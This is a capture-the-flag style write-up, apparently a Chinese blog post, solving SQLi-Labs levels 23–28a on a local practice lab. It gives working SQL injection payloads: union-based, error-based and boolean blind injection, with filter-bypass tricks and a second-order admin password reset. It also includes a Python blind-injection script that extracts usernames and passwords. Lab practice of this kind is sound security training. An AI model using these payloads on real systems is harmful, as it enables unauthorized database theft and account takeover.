《SQLi-Labs》04. Less 23~28a


title: 《SQLi-Labs》04. Less 23~28a
date: 2023-10-19 19:37:40
updated: 2023-10-19 19:38:40
categories: WriteUp:Security-Lab
excerpt: 联合注入,注释符过滤绕过之构造闭合,%00 截断、二次注入、报错注入,空格过滤绕过,双写绕过、布尔盲注。
comments: false
tags:
top_image: /images/backimg/SunsetClimbing.png



靶场部署在 VMware - Win7。

靶场地址:https://github.com/Audi-1/sqli-labs

索引

  • Less-23:联合注入,注释符过滤绕过之构造闭合,%00 截断,字符型【'】。
  • Less-24:二次注入。字符型【'】。
  • Less-25:联合注入,与 Less-23 思路一致。双写绕过。字符型【'】。
  • Less-25a:与 Less-25 差别不大。数字型。
  • Less-26:报错注入,空格过滤绕过,双写绕过,注释符过滤绕过之构造闭合,%00 截断,字符型【'】。
  • Less-26a:与 Less-26 类似,布尔盲注。字符型【')】。
  • Less-27:与 Less-26 类似,报错注入。字符型【'】。
  • Less-27a:与 Less-27 类似,联合注入。字符型【"】。
  • Less-28:与前面几题都类似,联合注入。字符型【')】。
  • Less-28a:与 Less-28 不能说完全相同,只能说一模一样。

Less-23

思路与 Less1 一致。

题解

在这里插入图片描述

Less-23 和 Less-1 很像啊。只不过注释符不再起作用了,猜测注释符被过滤了。

不过可以通过构造闭合语句来使用联合注入。

构造闭合

url + ?id=1' or '1'='1

在这里插入图片描述

判断回显位

url + ?id=1' union select 1,2'
url + ?id=1' union select 1,2,3'
url + ?id=1' union select 1,2,3,4'

以上语句也可使用 %00 截断。

?id=1' union select 1,2,3,4; %00

爆库

url + ?id=-1' union select 1,(select group_concat(schema_name) from information_schema.schemata),3 or '1'='1

另一种写法(使用 %00 截断):

url + ?id=-1' union select 1,(group_concat(schema_name)),3 from information_schema.schemata;%00

爆表

url + ?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3 or '1'='1

爆字段

url + ?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' ),3 or '1'='1

获取敏感数据

url + ?id=-1' union select 1,(select group_concat(password, ':', username) from users),3 or '1'='1

Less-24

在这里插入图片描述

题解

这题可以使用 name:Dumb,Password:Dumb 登录。

在这里出现了传说中的二次注入。另外,这关的目标是获得 admin 用户的权限。

二次注入一般用于白盒测试,黑盒测试就算找到注入点也不知道能不能攻击。

先直接看过程与分析吧。

先点击注册用户,注册 admin,提示用户已存在。

那就注册一个用户 admin'#,密码随便。

注册之后可以看到注册的用户已插入数据库。

在这里插入图片描述

此时使用 admin'# 用户登录并修改密码,这里修改为 hello6

在这里插入图片描述

修改后再次查看数据库,可以看到 admin'# 用户密码没变,但 admin 用户的密码被更改了。

在这里插入图片描述

admin 密码都能自定义了,权限自然唾手可得了。

任务完成。

最后看看修改密码时发生了什么。看下源码。

在这里插入图片描述

$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";

由于信任数据库存放的信息,用户名代入时未作过滤。

所以代入以上构造的数据时 SQL 语句就是:

$sql = "UPDATE users SET PASSWORD='hello6' where username='admin'#' and password='admin原来的密码' ";

语句注释后就成了修改 admin 用户密码的操作。

总结

二次注入:将可能导致 sql 注入的字符先存入到数据库中,当再次调用这个恶意构造的字符时,就可以触发 sql 注入。

二次注入一般用于白盒测试,黑盒测试就算找到注入点也不知道能不能攻击。

Less-25

题解

根据提示,先测试一下:

爆库

url + ?id=-1' union select 1,(select group_concat(schema_name) from information_schema.schemata),3  or '1'='1

在这里插入图片描述

“ or ” 被过滤了。不过只被过滤了一次。双写绕过即可。

也可以使用 ||&&

爆库

url + ?id=-1' union select 1,(select group_concat(schema_name) from infoorrmation_schema.schemata),3 oorr '1'='1

在这里插入图片描述

剩下的过程参考 Less-23 即可。

Less-25a

题解

这题与 Less-25 没什么两样,区别在于是数字型注入,且数据库报错信息被过滤了一些。

爆库

url + ?id=-1 union select 1,(select group_concat(schema_name) from infoorrmation_schema.schemata),3 oorr 1=1

在这里插入图片描述

剩下的过程参考 Less-23 即可。

Less-26

题解

测试一下。

爆库

url + ?id=-1' union select 1,(select group_concat(schema_name) from infoorrmation_schema.schemata),3 oorr '1'='1

在这里插入图片描述

这一关过滤了注释符、空格、or、and。

“ or ” 的过滤可以双写绕过,注释符过滤可以构造闭合绕过。只要解决了空格过滤就和 Less-23 没什么两样了。

这一关原本是考察 Apache 的解析问题。但 windows 下无法复现。

补充一下空格绕过的方法,可以用以下字符代替:

%09    TAB 键(水平)
%0a    新建一行
%0c    新的一页
%0d    return 功能
%0b    TAB 键(垂直)
%a0    空格

不过由于平台问题以上绕过 Apache 解析不了,所以也可以通过灵活使用括号【(】来绕过空格。

判断字符类型

url + ?id=1'              报错
url + ?id=1'oorr'1'='1    回显正常
url + ?id=1';%00          回显正常

在这里插入图片描述

为单引号字符型。

判断回显位

url + ?id=1'union(select(1));%00            报错
url + ?id=1'union(select(1),(2));%00        报错
url + ?id=1'union(select(1),(2),(3));%00    回显正常

不过报错注入空格使用比较少,所以直接上报错注入。

爆表

url + ?id=1'||(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='security')),0x7e),1))||'1'='1

爆字段

url + ?id=1'||(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema='security'aandnd(table_name='users')))),1))||'0

爆敏感信息

url + ?id=1'||(updatexml(1,concat(0x7e,(select(group_concat(passwoorrd,username))from(users))),1))||'0

总结

  • 报错注入,详情参考 Less-17。
  • 空格过滤绕过。
  • 双写绕过。
  • 构造闭合绕过。

Less-26a

题解

这题与 Less-26 类似,但是不显示报错信息,使用布尔盲注。

爆表

url + ?id=100')||if(ascii(substr((select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema="security")),1,1))>80,1,0)||('0
url + ?id=100')||if(ascii(substr((select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema="security")),2,1))>100,1,0)||('0
...

爆字段

url + ?id=100')||if(ascii(substr((select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema="security")),1,1))>80,1,0)%23||('0

爆敏感信息

url + ?id=100')||if(ascii(substr((select(group_concat(username,":",passwoorrd))from(security.users)),1,1))>80,1,0)%23||('0

这里附上一个布尔盲注自动化脚本:

import requests

url = "http://192.168.8.222/lab/sqli/Less-26a/"

result = ''
i = 0

while True:
    i = i + 1
    head = 32
    tail = 127

    while head < tail:
        mid = (head + tail) >> 1
        # payload = f'if(ascii(substr((select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema="security")),{i},1))>{mid},1,0)'
        payload = f'if(ascii(substr((select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema=database()&&table_name="users")),{i},1))>{mid},1,0)%23'
        # payload = f'if(ascii(substr((select(group_concat(username,":",passwoorrd))from(security.users)),{i},1))>{mid},1,0)%23'
        data = {
            'id': f"100')||{payload}||('0"
        }
        r = requests.get(url,params=data)
        if "Dumb" in r.text:
            head = mid + 1
        else:
            tail = mid

    if head != 32:
        result += chr(head)
    else:
        break
    print(result)

Less-27

题解

Less-27 没有过滤 and 和 or,过滤了 select 和 union,不过可以大小写绕过以及双写绕过。其他的和 Less-26 差不多

这里直接上报错注入。

爆表

url + ?id=1'or(updatexml(1,concat(0x7e,(selselecselecttect(group_concat(table_name))from(information_schema.tables)where(table_schema='security')),0x7e),1))or'0

爆字段

url + ?id=1'or(updatexml(1,concat(0x7e,(selselecselecttect(group_concat(column_name))from(information_schema.columns)where(table_schema='security'and(table_name='users'))),0x7e),1))or'0

爆敏感信息

url + ?id=1'or(updatexml(1,concat(0x7e,(selselecselecttect(group_concat(password,username))from(users)),0x7e),1))or'0

Less-27a

题解

与 Less-27 类似,但是不返回报错信息。

爆字段

url + ?id=0"uniunionon%0AseleSelectct%0A1,2,group_concat(column_name)from%0Ainformation_schema.columns%0Awhere%0Atable_schema='security'%0Aand%0Atable_name='users'%0Aand"1

爆敏感信息

url + ?id=0"uniunionon%0AseleSelectct%0A1,2,group_concat(username,':',password)from%0Asecurity.users%0Aand"1
# 爆所有信息似乎有问题,只能通过 id 遍历。
url + ?id=0"uniunionon%0AseleSelectct%0A1,2,group_concat(username,':',password)from%0Asecurity.users%0Awhere%0Aid=1%0Aand"1

Less-28

题解

字符型【')】。过滤替换了一次 union select。依旧双写绕过。

爆表

url + ?id=0')uniunion%0Aselecton%0Aselect%0A1,2,group_concat(table_name)from%0Ainformation_schema.tables%0Awhere%0Atable_schema='security'and ('1

爆字段

url + ?id=0')uniunion%0Aselecton%0Aselect%0A1,2,group_concat(column_name)from%0Ainformation_schema.columns%0Awhere%0Atable_schema='security'%0Aand%0Atable_name='users'%0Aand('1

爆敏感数据

url + ?id=0')uniunion%0Aselecton%0Aselect%0A1,2,group_concat(username,":",password)from%0Ausers%0Awhere%0Aid=1%0Aand%0A('1

Less-28a

题解

字符型【')】。只过滤替换了一次 union select,其他的没有过滤。

那就直接和 Less-28 一样了。其他方法这里就不尝试了。


谦,美德也,过谦者怀诈。默,懿行也,过默者藏奸。

——《格言联璧》(清)金缨

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值